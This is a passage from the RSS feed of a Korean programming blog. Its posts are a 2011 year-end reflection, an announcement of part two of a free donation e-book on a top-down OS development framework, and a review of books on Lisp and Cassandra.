 &lt;/div&gt;&lt;div class=&quot;entry-ccl&quot; style=&quot;clear: both; text-align: right; margin-bottom: 10px&quot;&gt;
	&lt;img id=&quot;ccl-icon-788-0&quot; class=&quot;entry-ccl-by&quot; src=&quot;http://i1.daumcdn.net/cfs.tistory/v/0/static/admin/editor/ccl_black01.png&quot; alt=&quot;저작자 표시&quot;/&gt;
	&lt;img id=&quot;ccl-icon-788-1&quot; class=&quot;entry-ccl-nc&quot; src=&quot;http://i1.daumcdn.net/cfs.tistory/v/0/static/admin/editor/ccl_black02.png&quot; alt=&quot;비영리&quot;/&gt;
	&lt;img id=&quot;ccl-icon-788-2&quot; class=&quot;entry-ccl-nd&quot; src=&quot;http://i1.daumcdn.net/cfs.tistory/v/0/static/admin/editor/ccl_black03.png&quot; alt=&quot;변경 금지&quot;/&gt;
	&lt;!--
	&lt;rdf:RDF xmlns=&quot;http://web.resource.org/cc/&quot; xmlns:dc=&quot;http://purl.org/dc/elements/1.1/&quot; xmlns:rdf=&quot;http://www.w3.org/1999/02/22-rdf-syntax-ns#&quot;&gt;
		&lt;Work rdf:about=&quot;&quot;&gt;
			&lt;license rdf:resource=&quot;http://creativecommons.org/licenses/by-nc-nd/2.0/kr/&quot; /&gt;
		&lt;/Work&gt;
		&lt;License rdf:about=&quot;http://creativecommons.org/licenses/by-nc-nd/&quot;&gt;
			&lt;permits rdf:resource=&quot;http://web.resource.org/cc/Reproduction&quot;/&gt;
			&lt;permits rdf:resource=&quot;http://web.resource.org/cc/Distribution&quot;/&gt;
			&lt;requires rdf:resource=&quot;http://web.resource.org/cc/Notice&quot;/&gt;
			&lt;requires rdf:resource=&quot;http://web.resource.org/cc/Attribution&quot;/&gt;
			&lt;prohibits rdf:resource=&quot;http://web.resource.org/cc/CommercialUse&quot;/&gt;
		&lt;/License&gt;
	&lt;/rdf:RDF&gt;
	--&gt;
&lt;/div&gt;
&lt;div style='text-align: center; margin: 10px auto; height: 91px; overflow: hidden; clear: both;'&gt;&lt;iframe title='mixUP 위젯' src='http://mixsh.com/widget/new_mixup/loader_plugin.html?domain=kkamagui.tistory.com&amp;media_type=10&amp;guid=kkamagui.tistory.com%2F788&amp;regts=1326381695&amp;showhitcnt=1&amp;platform=10' frameBorder='0' scrolling='no' allowTransparency='true' width='402' height='130'&gt;&lt;/iframe&gt;&lt;/div&gt;&lt;div class=&quot;another_category another_category_color_red&quot;&gt;
&lt;h4&gt;'&lt;a href=&quot;/category/OS%20Kernel&quot;&gt;OS Kernel&lt;/a&gt;' 카테고리의 다른 글&lt;/h4&gt;
&lt;table&gt;
&lt;tr&gt;
&lt;th&gt;
&lt;a href=&quot;/788&quot; &gt;&amp;quot;아키텍트를 꿈꾸는 사람들&amp;quot; 스터디에서 발표할 자료~!!&lt;/a&gt;&amp;nbsp;&amp;nbsp;&lt;span&gt;(14)&lt;/span&gt;
&lt;/th&gt;
&lt;td&gt;
2012/01/07&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;th&gt;
&lt;a href=&quot;/780&quot; &gt;OS 개발 시 참고하면 유용한 책과 사이트 리스트&lt;/a&gt;&amp;nbsp;&amp;nbsp;&lt;span&gt;(0)&lt;/span&gt;
&lt;/th&gt;
&lt;td&gt;
2011/11/20&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;th&gt;
&lt;a href=&quot;/342&quot; &gt;[ARM] ARM GCC가 만들어낸 어셈 코드 훓어보다보니...&lt;/a&gt;&amp;nbsp;&amp;nbsp;&lt;span&gt;(0)&lt;/span&gt;
&lt;/th&gt;
&lt;td&gt;
2007/11/05&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;th&gt;
&lt;a href=&quot;/324&quot; &gt;[ARM] 어?? 글고보니 Interrupt Vector Remapping은 어떻게 하는거지??&lt;/a&gt;&amp;nbsp;&amp;nbsp;&lt;span&gt;(1)&lt;/span&gt;
&lt;/th&gt;
&lt;td&gt;
2004/11/29&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;th&gt;
&lt;a href=&quot;/326&quot; &gt;[ARM] ldmia lr!, { r0 - r12, pc}^&lt;/a&gt;&amp;nbsp;&amp;nbsp;&lt;span&gt;(0)&lt;/span&gt;
&lt;/th&gt;
&lt;td&gt;
2004/11/27&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;th&gt;
&lt;a href=&quot;/325&quot; &gt;[ARM] 오우~ OS Timer를 이용한 Task Switching !!&lt;/a&gt;&amp;nbsp;&amp;nbsp;&lt;span&gt;(0)&lt;/span&gt;
&lt;/th&gt;
&lt;td&gt;
2004/11/27&lt;/td&gt;
&lt;/tr&gt;
&lt;/table&gt;&lt;/div&gt;</description>
			<category>OS Kernel</category>
			<category>발표자료</category>
			<category>아키텍트를 꿈꾸는 사람들</category>
			<author>kkamagui</author>
			<guid>http://kkamagui.tistory.com/788</guid>
			<comments>http://kkamagui.tistory.com/788#entry788comment</comments>
			<pubDate>Sat, 07 Jan 2012 01:08:08 +0900</pubDate>
		</item>
		<item>
			<title>2011년을 마감하며....</title>
			<link>http://kkamagui.tistory.com/787</link>
			<description>2011년을 되돌아보면 개인적으로 이룬 것이 많은 해였습니다. ^^ 가족 문제도 모두 무사히 해결되었고 회사일도 큰 탈 없이 잘 넘어갔거든요. ^^)-b 그리고 무엇보다도~ OS 프로젝트에 대한 제 책이 세상에 나온게 가장 큰 성과가 아니었나 싶군요. ^^;;;;&lt;br /&gt;
&lt;br /&gt;2012년도 2011년처럼 큰 탈 없이 잘 지나갔으면 좋겠습니다. 그리고 시간이 된다면 재미있는 프로젝트도 하나 하면서 자료를 정리해두고 싶네요. 혹시 모를(?) 나중을 위해서 말이지요 ;)&lt;br /&gt;
&lt;br /&gt;지금까지 관심을 가져주셔서 감사드리구요, 2012년도 잘 부탁드리겠습니다. ^^&lt;br /&gt;
&lt;br /&gt;그럼 새해 복 많이 받으세요 ^^)/~&lt;br /&gt;
&lt;br /&gt;&lt;p style=&quot;margin: 0pt;&quot;&gt;&lt;div class=&quot;imageblock center&quot; style=&quot;text-align: center; clear: both;&quot;&gt;&lt;a href=&quot;http://cfile24.uf.tistory.com/original/1345C4414EFF3F860969FD&quot; rel=&quot;lightbox&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://cfile24.uf.tistory.com/image/1345C4414EFF3F860969FD&quot; alt=&quot;&quot; filemime=&quot;image/jpeg&quot; filename=&quot;플리커 사진.jpg&quot; height=&quot;427&quot; width=&quot;640&quot;/&gt;&lt;/a&gt;&lt;/div&gt;&lt;/p&gt;
&lt;p style=&quot;margin: 0pt; text-align: center;&quot;&gt;&lt;span style=&quot;font-weight: bold;&quot;&gt;&amp;lt;출처 플리커 - http://www.flickr.com/photos/jessfeldon/3359967900/sizes/z/in/photostream/&amp;gt;&lt;/span&gt;&lt;br /&gt;
&lt;/p&gt;&lt;br /&gt;&lt;div class=&quot;entry-ccl&quot; style=&quot;clear: both; text-align: right; margin-bottom: 10px&quot;&gt;
	&lt;img id=&quot;ccl-icon-787-0&quot; class=&quot;entry-ccl-by&quot; src=&quot;http://i1.daumcdn.net/cfs.tistory/v/0/static/admin/editor/ccl_black01.png&quot; alt=&quot;저작자 표시&quot;/&gt;
	&lt;img id=&quot;ccl-icon-787-1&quot; class=&quot;entry-ccl-nc&quot; src=&quot;http://i1.daumcdn.net/cfs.tistory/v/0/static/admin/editor/ccl_black02.png&quot; alt=&quot;비영리&quot;/&gt;
	&lt;img id=&quot;ccl-icon-787-2&quot; class=&quot;entry-ccl-nd&quot; src=&quot;http://i1.daumcdn.net/cfs.tistory/v/0/static/admin/editor/ccl_black03.png&quot; alt=&quot;변경 금지&quot;/&gt;
	&lt;!--
	&lt;rdf:RDF xmlns=&quot;http://web.resource.org/cc/&quot; xmlns:dc=&quot;http://purl.org/dc/elements/1.1/&quot; xmlns:rdf=&quot;http://www.w3.org/1999/02/22-rdf-syntax-ns#&quot;&gt;
		&lt;Work rdf:about=&quot;&quot;&gt;
			&lt;license rdf:resource=&quot;http://creativecommons.org/licenses/by-nc-nd/2.0/kr/&quot; /&gt;
		&lt;/Work&gt;
		&lt;License rdf:about=&quot;http://creativecommons.org/licenses/by-nc-nd/&quot;&gt;
			&lt;permits rdf:resource=&quot;http://web.resource.org/cc/Reproduction&quot;/&gt;
			&lt;permits rdf:resource=&quot;http://web.resource.org/cc/Distribution&quot;/&gt;
			&lt;requires rdf:resource=&quot;http://web.resource.org/cc/Notice&quot;/&gt;
			&lt;requires rdf:resource=&quot;http://web.resource.org/cc/Attribution&quot;/&gt;
			&lt;prohibits rdf:resource=&quot;http://web.resource.org/cc/CommercialUse&quot;/&gt;
		&lt;/License&gt;
	&lt;/rdf:RDF&gt;
	--&gt;
&lt;/div&gt;
&lt;div style='text-align: center; margin: 10px auto; height: 91px; overflow: hidden; clear: both;'&gt;&lt;iframe title='mixUP 위젯' src='http://mixsh.com/widget/new_mixup/loader_plugin.html?domain=kkamagui.tistory.com&amp;media_type=10&amp;guid=kkamagui.tistory.com%2F787&amp;regts=1325350835&amp;showhitcnt=1&amp;platform=10' frameBorder='0' scrolling='no' allowTransparency='true' width='402' height='130'&gt;&lt;/iframe&gt;&lt;/div&gt;&lt;div class=&quot;another_category another_category_color_red&quot;&gt;
&lt;h4&gt;'&lt;a href=&quot;/category/잡담&quot;&gt;잡담&lt;/a&gt;' 카테고리의 다른 글&lt;/h4&gt;
&lt;table&gt;
&lt;tr&gt;
&lt;th&gt;
&lt;a href=&quot;/790&quot; &gt;2012년 한 해도 새해 복 많이 받으세요 ;)&lt;/a&gt;&amp;nbsp;&amp;nbsp;&lt;span&gt;(2)&lt;/span&gt;
&lt;/th&gt;
&lt;td&gt;
2012/01/26&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;th&gt;
&lt;a href=&quot;/789&quot; &gt;스크립트 언어를 배우고 사용하는 건 시간 낭비가 아니에요. ㅠㅠ....&lt;/a&gt;&amp;nbsp;&amp;nbsp;&lt;span&gt;(26)&lt;/span&gt;
&lt;/th&gt;
&lt;td&gt;
2012/01/12&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;th&gt;
&lt;a href=&quot;/787&quot; &gt;2011년을 마감하며....&lt;/a&gt;&amp;nbsp;&amp;nbsp;&lt;span&gt;(2)&lt;/span&gt;
&lt;/th&gt;
&lt;td&gt;
2012/01/01&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;th&gt;
&lt;a href=&quot;/785&quot; &gt;최근 보고 있는 책 2권을 소개합니다~!!&lt;/a&gt;&amp;nbsp;&amp;nbsp;&lt;span&gt;(0)&lt;/span&gt;
&lt;/th&gt;
&lt;td&gt;
2011/12/23&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;th&gt;
&lt;a href=&quot;/782&quot; &gt;앞으로 수련을 더 열심히 해야 겠군요. ㅠㅠ&lt;/a&gt;&amp;nbsp;&amp;nbsp;&lt;span&gt;(0)&lt;/span&gt;
&lt;/th&gt;
&lt;td&gt;
2011/12/10&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;th&gt;
&lt;a href=&quot;/779&quot; &gt;이 밤의 끝을 잡고....&lt;/a&gt;&amp;nbsp;&amp;nbsp;&lt;span&gt;(6)&lt;/span&gt;
&lt;/th&gt;
&lt;td&gt;
2011/11/16&lt;/td&gt;
&lt;/tr&gt;
&lt;/table&gt;&lt;/div&gt;</description>
			<category>잡담</category>
			<category>근하신년</category>
			<category>아듀 2011</category>
			<author>kkamagui</author>
			<guid>http://kkamagui.tistory.com/787</guid>
			<comments>http://kkamagui.tistory.com/787#entry787comment</comments>
			<pubDate>Sun, 01 Jan 2012 02:00:35 +0900</pubDate>
		</item>
		<item>
			<title>기부 북 시리즈 1권인 OS Framework의 2부가 나왔습니다.</title>
			<link>http://kkamagui.tistory.com/786</link>
			<description>며칠을 틈틈이 작업한 끝에 기부 북 시리즈 1권, OS Framework 2부가 나왔습니다. ^^)/~ 1부가 OS Framework가 왜 필요하고 사용하면 어떤 점이 좋은지에 초점을 맞추었다면, 2부부터는 본격적으로 OS Framework를 이용해서 OS를 개발해나가는 내용이 들어있습니다. ^^)-b &lt;br /&gt;
&lt;br /&gt;
&lt;span style=&quot;font-weight: bold;&quot;&gt;&lt;a title=&quot;[http://kkamagui.tistory.com/784]로 이동합니다.&quot; target=&quot;_blank&quot; href=&quot;http://kkamagui.tistory.com/784&quot;&gt;2부는 최신 기부 북 목록 페이지로 이동하시면 보실 수 있습니다. &amp;lt;여기&amp;gt;를 클릭하시면 최신 기부 북 목록 페이지로 이동합니다.&lt;/a&gt;&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;p style=&quot;margin:0&quot;&gt;&lt;a title=&quot;[http://kkamagui.tistory.com/784]로 이동합니다.&quot; target=&quot;_blank&quot; href=&quot;http://kkamagui.tistory.com/784&quot;&gt;&lt;div class=&quot;imageblock center&quot; style=&quot;text-align: center; clear: both;&quot;&gt;&lt;a href=&quot;http://cfile26.uf.tistory.com/original/14500D444EF7F46B1A5E2A&quot; rel=&quot;lightbox&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://cfile26.uf.tistory.com/image/14500D444EF7F46B1A5E2A&quot; alt=&quot;&quot; filemime=&quot;&quot; filename=&quot;cfile26.uf@14500D444EF7F46B1A5E2A.jpg&quot; height=&quot;480&quot; width=&quot;400&quot;/&gt;&lt;/a&gt;&lt;/div&gt;&lt;/a&gt;&lt;/p&gt;
&lt;div style=&quot;text-align: center;&quot;&gt;
&lt;span style=&quot;font-weight: bold;&quot;&gt;&lt;a title=&quot;[http://kkamagui.tistory.com/784]로 이동합니다.&quot; target=&quot;_blank&quot; href=&quot;http://kkamagui.tistory.com/784&quot;&gt;&amp;lt;기부 북 1권의 책 표지 - 기부 북 목록을 보려면 여기를 클릭하세요&amp;gt;&lt;/a&gt;&lt;/span&gt;&lt;br /&gt;
&lt;/div&gt;
&lt;br /&gt;
여기서 OS Framework에 대해서 잠시 소개를 드리자면... OS를 개발할 때 보통 CPU, 어셈블리어, BIOS를 먼저 공부하고 부트 로더부터 차례차례로 개발해나가는 Bottom-up 방식을 많이 사용합니다. 실제로 제가 쓴 &quot;&lt;a title=&quot;[http://www.yes24.com/24/Goods/5271779?Acode=101]로 이동합니다.&quot; target=&quot;_blank&quot; href=&quot;http://www.yes24.com/24/Goods/5271779?Acode=101&quot;&gt;64비트 멀티코어 OS 구조와 원리&lt;/a&gt;&quot;도 이런 방식으로 진행을 하고 있구요. ^^;;;; Bottom-up 방식이 나쁜 것은 아니지만... OS 개발을 시작하기가 쉽지 않은 이유 중 하나가 바로 이런 기반 지식을 쌓는데 시간이 걸리고 어렵기 때문입니다.&lt;br /&gt;
&lt;br /&gt;
OS Framework는 Top-down 방식으로 개발을 할 수 있도록 도와주는 일종의 OS 개발 프레임워크로, Bottom-up 방식의 단점을 해결하고자 제가 생각한 방법입니다. OS Framework는 부팅 과정부터 C 언어로 작성된 실제 커널에 이르기까지 모든 과정을 다 숨겨주고, 필요하면 기능을 추가할 수 있도록 인터럽트 서비스 루틴과 같은 부분만 알려줘서 바로 OS 개발을 시작할 수 있게 해줍니다. 아무런 기능을 추가하지 않고 OS Framework를 실행해도 아래와 같이 간단한 쉘이 동작하니 얼마나 멋집니까? ㅠㅠ)-b&lt;br /&gt;
&lt;br /&gt;
&lt;p style=&quot;margin:0&quot;&gt;&lt;div class=&quot;imageblock center&quot; style=&quot;text-align: center; clear: both;&quot;&gt;&lt;a href=&quot;http://cfile29.uf.tistory.com/original/137D543A4EF7F8482D8BB0&quot; rel=&quot;lightbox&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://cfile29.uf.tistory.com/image/137D543A4EF7F8482D8BB0&quot; alt=&quot;&quot; filemime=&quot;&quot; filename=&quot;cfile29.uf@137D543A4EF7F8482D8BB0.png&quot; height=&quot;391&quot; width=&quot;600&quot;/&gt;&lt;/a&gt;&lt;/div&gt;&lt;/p&gt;
&lt;div style=&quot;text-align: center;&quot;&gt;
&lt;span style=&quot;font-weight: bold;&quot;&gt;&amp;nbsp;&amp;lt;OS Framework의 기본 실행 화면&amp;gt;&lt;/span&gt;&lt;br /&gt;
&lt;/div&gt;
&lt;br /&gt;
OS Framework의 장점은 직접 OS 코드를 작성하면서 OS가 돌아가는 것을 바로 바로 확인할 수 있다는 것입니다. 그렇기 때문에 OS 개발을 목표로 했지만 기반 지식을 학습하느라 진이 빠져서 도중에 하차할 일이 적습니다. 그리고 프레임워크 상에서 어느정도 OS 개발에 익숙해졌다면, 아래로 내려가면서 실제 OS Framework의 구조를 파악해 나가는 방법으로 Bottom-up 개발 방법과 같은 레벨의 지식을 얻을 수 있습니다. ^^)/~ 정말 그런 일이 가능할까 의심스러우시면 지금 당장 OS Framework 1부부터 읽어보세요~!!&lt;br /&gt;
&lt;br /&gt;
OS 개발에 관심이 많은 분이라면 새해에는 OS Framework를 통해 나만의 OS를 만들어 보시는 것도 어떨까 싶네요. ^^)-b&lt;br /&gt;
그럼 3부를 기대해주세요 ;)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
ps)&lt;br /&gt;
kkamagui의 기부 북(Donation Book) 시리즈는 여러분의 기부로 출간되는 핸드북 형태의 전자책(e-book) 입니다. 무료로 배포되는 기부 북 시리즈는 원활한 기부를 위해 본문에 간헐적으로 기부 방법을 알리는 배너가 들어있습니다. 배너로 인해 불편을 느끼신다면 살짝 도와주신 뒤 저에게 메일(kkamagui at gmail.com)로 알려주시기 바랍니다. 메일을 확인하는대로 편하게 보실 수 있도록 기부 배너가 제외된 문서를 보내드리겠습니다.&lt;br /&gt;
&lt;br /&gt;
기부 북을 위해 도움을 주실 수 있는 방법은 아래 링크를 클릭하시면 좀더 자세히 보실 수 있습니다.&lt;br /&gt;
&lt;br /&gt;
&lt;div style=&quot;border-style: solid; border-width: 1px; border-color: rgb(121, 165, 228); padding: 10px; text-align: center;&quot; class=&quot;txc-textbox&quot;&gt;
&lt;span style=&quot;font-weight: bold;&quot;&gt;기부 북을 도울 수 있는 방법 보기&lt;/span&gt;&lt;br /&gt;
&lt;a title=&quot;[http://kkamagui.tistory.com/783]로 이동합니다.&quot; target=&quot;_blank&quot; href=&quot;http://kkamagui.tistory.com/783&quot;&gt;http://kkamagui.tistory.com/783&lt;/a&gt;&lt;br /&gt;
&lt;/div&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;div class=&quot;entry-ccl&quot; style=&quot;clear: both; text-align: right; margin-bottom: 10px&quot;&gt;
	&lt;img id=&quot;ccl-icon-786-0&quot; class=&quot;entry-ccl-by&quot; src=&quot;http://i1.daumcdn.net/cfs.tistory/v/0/static/admin/editor/ccl_black01.png&quot; alt=&quot;저작자 표시&quot;/&gt;
	&lt;img id=&quot;ccl-icon-786-1&quot; class=&quot;entry-ccl-nc&quot; src=&quot;http://i1.daumcdn.net/cfs.tistory/v/0/static/admin/editor/ccl_black02.png&quot; alt=&quot;비영리&quot;/&gt;
	&lt;img id=&quot;ccl-icon-786-2&quot; class=&quot;entry-ccl-nd&quot; src=&quot;http://i1.daumcdn.net/cfs.tistory/v/0/static/admin/editor/ccl_black03.png&quot; alt=&quot;변경 금지&quot;/&gt;
	&lt;!--
	&lt;rdf:RDF xmlns=&quot;http://web.resource.org/cc/&quot; xmlns:dc=&quot;http://purl.org/dc/elements/1.1/&quot; xmlns:rdf=&quot;http://www.w3.org/1999/02/22-rdf-syntax-ns#&quot;&gt;
		&lt;Work rdf:about=&quot;&quot;&gt;
			&lt;license rdf:resource=&quot;http://creativecommons.org/licenses/by-nc-nd/2.0/kr/&quot; /&gt;
		&lt;/Work&gt;
		&lt;License rdf:about=&quot;http://creativecommons.org/licenses/by-nc-nd/&quot;&gt;
			&lt;permits rdf:resource=&quot;http://web.resource.org/cc/Reproduction&quot;/&gt;
			&lt;permits rdf:resource=&quot;http://web.resource.org/cc/Distribution&quot;/&gt;
			&lt;requires rdf:resource=&quot;http://web.resource.org/cc/Notice&quot;/&gt;
			&lt;requires rdf:resource=&quot;http://web.resource.org/cc/Attribution&quot;/&gt;
			&lt;prohibits rdf:resource=&quot;http://web.resource.org/cc/CommercialUse&quot;/&gt;
		&lt;/License&gt;
	&lt;/rdf:RDF&gt;
	--&gt;
&lt;/div&gt;
&lt;div style='text-align: center; margin: 10px auto; height: 91px; overflow: hidden; clear: both;'&gt;&lt;iframe title='mixUP 위젯' src='http://mixsh.com/widget/new_mixup/loader_plugin.html?domain=kkamagui.tistory.com&amp;media_type=10&amp;guid=kkamagui.tistory.com%2F786&amp;regts=1324874490&amp;showhitcnt=1&amp;platform=10' frameBorder='0' scrolling='no' allowTransparency='true' width='402' height='130'&gt;&lt;/iframe&gt;&lt;/div&gt;&lt;div class=&quot;another_category another_category_color_red&quot;&gt;
&lt;h4&gt;'&lt;a href=&quot;/category/기부%20북%20시리즈&quot;&gt;기부 북 시리즈&lt;/a&gt;' 카테고리의 다른 글&lt;/h4&gt;
&lt;table&gt;
&lt;tr&gt;
&lt;th&gt;
&lt;a href=&quot;/786&quot; &gt;기부 북 시리즈 1권인 OS Framework의 2부가 나왔습니다.&lt;/a&gt;&amp;nbsp;&amp;nbsp;&lt;span&gt;(0)&lt;/span&gt;
&lt;/th&gt;
&lt;td&gt;
2011/12/26&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;th&gt;
&lt;a href=&quot;/784&quot; &gt;&amp;quot;kkamagui의 기부 북 시리즈&amp;quot; 최신 목록~!!&lt;/a&gt;&amp;nbsp;&amp;nbsp;&lt;span&gt;(8)&lt;/span&gt;
&lt;/th&gt;
&lt;td&gt;
2011/12/11&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;th&gt;
&lt;a href=&quot;/783&quot; &gt;&amp;quot;kkamagui의 기부 북 시리즈&amp;quot;를 도울 수 있는 여러가지 방법들~!!&lt;/a&gt;&amp;nbsp;&amp;nbsp;&lt;span&gt;(2)&lt;/span&gt;
&lt;/th&gt;
&lt;td&gt;
2011/12/10&lt;/td&gt;
&lt;/tr&gt;
&lt;/table&gt;&lt;/div&gt;</description>
			<category>기부 북 시리즈</category>
			<category>kkamagui</category>
			<category>OS 개발</category>
			<category>OS 프레임워크</category>
			<category>기부 북</category>
			<author>kkamagui</author>
			<guid>http://kkamagui.tistory.com/786</guid>
			<comments>http://kkamagui.tistory.com/786#entry786comment</comments>
			<pubDate>Mon, 26 Dec 2011 13:34:15 +0900</pubDate>
		</item>
		<item>
			<title>최근 보고 있는 책 2권을 소개합니다~!!</title>
			<link>http://kkamagui.tistory.com/785</link>
			<description>업무 특성상 연말 &amp;amp; 연초가 아주 바쁘지만 억지로 시간을 내서 틈틈이 책을 보고 있습니다. 무슨 책인데 그렇게 열심히 보고 있냐하면... 한 권은 &quot;&lt;a title=&quot;[http://www.yes24.com/24/goods/5968810?scode=032&amp;amp;OzSrank=1]로 이동합니다.&quot; target=&quot;_blank&quot; href=&quot;http://www.yes24.com/24/goods/5968810?scode=032&amp;amp;OzSrank=1&quot;&gt;만들면서 배우는 리스프 프로그래밍&lt;/a&gt;&quot;이구요, 다른 한 권은 &quot;&lt;a title=&quot;[http://www.yes24.com/24/goods/5847220?scode=032&amp;amp;OzSrank=3]로 이동합니다.&quot; target=&quot;_blank&quot; href=&quot;http://www.yes24.com/24/goods/5847220?scode=032&amp;amp;OzSrank=3&quot;&gt;카산드라 완벽 가이드&lt;/a&gt;&quot;입니다. ^^;;;;&lt;br /&gt;
&lt;br /&gt;
사실 리스프 언어에 대해서 소문(괄호로 시작해서 괄호로 끝난다는...)은 많이 들어서 한 번 구경하고 싶었는데, 때마침 이 책이 손에 떨어져서 내심 상당히 기뻤습니다. 그래서 받자마자 읽어내려가기 시작했는데, 책이 정말 재미있게 구성되어 있고 내용도 아주 깔끔하게 잘 정리되어 있더군요. ㅠㅠ)-b&lt;br /&gt;
&lt;br /&gt;
아시는 분은 아시겠지만... 저는 리스프 언어를 하나도 모릅니다. ㅠㅠ 그런데, 이 책은 정말 눈으로 읽어내려가기만 해도 머리속에서 그림이 그려지는 듯한 느낌이랄까요? 저 같은 초보자를 위해 재미있는 스토리와 그림을 사용해서 만화책처럼 엮어서 그런지 정말 보기가 편합니다. ㅠㅠ)-b 그래서 리스프 언어에 대한 거부감도 별로 안생기는 것 같아요. ㅠㅠ&lt;br /&gt;
&lt;br /&gt;
혹시 저처럼 리스프 언어가 궁금하셨다면 이 책을 적극 추천합니다. ^0^)-b 번역서지만 번역도 잘 되어있어요 ;)&lt;br /&gt;
&lt;br /&gt;
&lt;p style=&quot;margin: 0pt;&quot;&gt;&lt;div class=&quot;imageblock center&quot; style=&quot;text-align: center; clear: both;&quot;&gt;&lt;a href=&quot;http://cfile7.uf.tistory.com/original/1613B0354EF34BE22D95CA&quot; rel=&quot;lightbox&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://cfile7.uf.tistory.com/image/1613B0354EF34BE22D95CA&quot; alt=&quot;&quot; filemime=&quot;image/jpeg&quot; filename=&quot;리스프 프로그래밍.jpg&quot; height=&quot;400&quot; width=&quot;311&quot;/&gt;&lt;/a&gt;&lt;/div&gt;&lt;/p&gt;
&lt;p style=&quot;margin: 0pt; text-align: center;&quot;&gt;&lt;span style=&quot;font-weight: bold;&quot;&gt;&amp;lt;만들면서 배우는 리스프 프로그래밍, 한빛미디어 - 출처 yes24&amp;gt;&lt;/span&gt;&lt;br /&gt;
&lt;/p&gt;
&lt;p style=&quot;margin: 0pt;&quot;&gt;&lt;br /&gt;
&lt;/p&gt;
&lt;p style=&quot;margin: 0pt;&quot;&gt;&lt;br /&gt;
&lt;/p&gt;
&lt;p style=&quot;margin: 0pt;&quot;&gt;&quot;만들면서 배우는 리스프 프로그래밍&quot;이 만화책같다면 &quot;카산드라 완벽 가이드&quot;는 교과서같은 느낌입니다. 카산드라라는 분산 DB가 탄생한 이유부터 구축, 적용까지 광범위한 내용을 다루고 있더라구요. 제가 DB 쪽은 아직 깊이 다루어본 적이 없어서 NoSQL이 필요한 이유같은 부분에서 약간 공감이 적긴하지만, 나름대로 조금씩 읽고 있습니다. ^^;;;;&lt;/p&gt;
&lt;p style=&quot;margin: 0pt;&quot;&gt;&lt;br /&gt;
&lt;/p&gt;
&lt;p style=&quot;margin: 0pt;&quot;&gt;언젠가는 저도 NoSQL이 필요한 시점이라고 느낄날이 올지도 모르니까요. ㅎㅎ 카산드라에 대해서 궁금하신 분이라면 이 책을 한 번 보시는 것도 괜찮을 것 같습니다. ^^)/~&lt;br /&gt;
&lt;/p&gt;
&lt;p style=&quot;margin:0&quot;&gt;&lt;br /&gt;
&lt;/p&gt;
&lt;p style=&quot;margin: 0pt;&quot;&gt;&lt;div class=&quot;imageblock center&quot; style=&quot;text-align: center; clear: both;&quot;&gt;&lt;a href=&quot;http://cfile9.uf.tistory.com/original/1813B0354EF34BE32ED625&quot; rel=&quot;lightbox&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://cfile9.uf.tistory.com/image/1813B0354EF34BE32ED625&quot; alt=&quot;&quot; filemime=&quot;image/jpeg&quot; filename=&quot;카산드라.jpg&quot; height=&quot;400&quot; width=&quot;318&quot;/&gt;&lt;/a&gt;&lt;/div&gt;&lt;/p&gt;
&lt;p style=&quot;margin: 0pt; text-align: center;&quot;&gt;&lt;span style=&quot;font-weight: bold;&quot;&gt;&amp;lt;카산드라 완벽 가이드, 한빛미디어 - 출처 yes24&amp;gt;&lt;/span&gt;&lt;br /&gt;
&lt;/p&gt;
&lt;br /&gt;아아... 그러고보니 이제 조금있으면 크리스마스로군요. ㅠㅠ 이 회사에 입사한 뒤로는 크리스마스 분위기를 느껴본 적이 없는 것 같아요. ㅠㅠ 이거 원... 때려치고 마음에 여유가 있는 다른 곳으로 옮기던지 해야겠어요. ㅎㅎ 적어도 크리스마스 기분은 느낄 수 있는 곳 말이에요. ;)&lt;br /&gt;
&lt;br /&gt;
그럼 즐거운 밤 되세요 ;)&lt;br /&gt;
&lt;br /&gt;
ps) 좋은 책을 소개해주신 한동훈님께 감사드립니다. ;)&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 매번 신경써주셔서 감사해요 ^^)/~&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;div class=&quot;entry-ccl&quot; style=&quot;clear: both; text-align: right; margin-bottom: 10px&quot;&gt;
	&lt;img id=&quot;ccl-icon-785-0&quot; class=&quot;entry-ccl-by&quot; src=&quot;http://i1.daumcdn.net/cfs.tistory/v/0/static/admin/editor/ccl_black01.png&quot; alt=&quot;저작자 표시&quot;/&gt;
	&lt;img id=&quot;ccl-icon-785-1&quot; class=&quot;entry-ccl-nc&quot; src=&quot;http://i1.daumcdn.net/cfs.tistory/v/0/static/admin/editor/ccl_black02.png&quot; alt=&quot;비영리&quot;/&gt;
	&lt;img id=&quot;ccl-icon-785-2&quot; class=&quot;entry-ccl-nd&quot; src=&quot;http://i1.daumcdn.net/cfs.tistory/v/0/static/admin/editor/ccl_black03.png&quot; alt=&quot;변경 금지&quot;/&gt;
	&lt;!--
	&lt;rdf:RDF xmlns=&quot;http://web.resource.org/cc/&quot; xmlns:dc=&quot;http://purl.org/dc/elements/1.1/&quot; xmlns:rdf=&quot;http://www.w3.org/1999/02/22-rdf-syntax-ns#&quot;&gt;
		&lt;Work rdf:about=&quot;&quot;&gt;
			&lt;license rdf:resource=&quot;http://creativecommons.org/licenses/by-nc-nd/2.0/kr/&quot; /&gt;
		&lt;/Work&gt;
